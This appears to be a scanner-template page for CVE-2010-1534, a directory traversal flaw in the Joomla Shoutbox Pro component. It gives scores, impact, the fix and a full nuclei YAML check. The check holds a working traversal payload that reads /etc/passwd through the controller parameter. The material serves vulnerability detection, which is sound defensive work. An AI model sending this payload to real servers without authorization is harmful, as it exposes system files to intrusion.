Joomla! Component Shoutbox Pro - Local File Inclusion

mediumseverity

5CVSS score

13.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Shoutbox Pro (com_shoutbox) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

Unauthenticated attackers can exploit directory traversal through the controller parameter to read arbitrary files from Joomla servers running vulnerable Shoutbox Pro components.

Fix

Upgrade to a supported version

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_shoutbox&controller=../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1534 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1534

info:
  name: Joomla! Component Shoutbox Pro - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Shoutbox Pro (com_shoutbox) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Unauthenticated attackers can exploit directory traversal through the controller parameter to read arbitrary files from Joomla servers running vulnerable Shoutbox Pro components.
  remediation: Upgrade to a supported version
  reference:
    - https://www.exploit-db.com/exploits/12067
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1534
    - http://www.exploit-db.com/exploits/12067
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57534
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1534
    cwe-id: CWE-22
    epss-score: 0.13621
    epss-percentile: 0.96505
    cpe: cpe:2.3:a:joomla.batjo:com_shoutbox:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla.batjo
    product: com_shoutbox
  tags: cve2010,cve,joomla,lfi,edb,joomla.batjo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_shoutbox&controller=../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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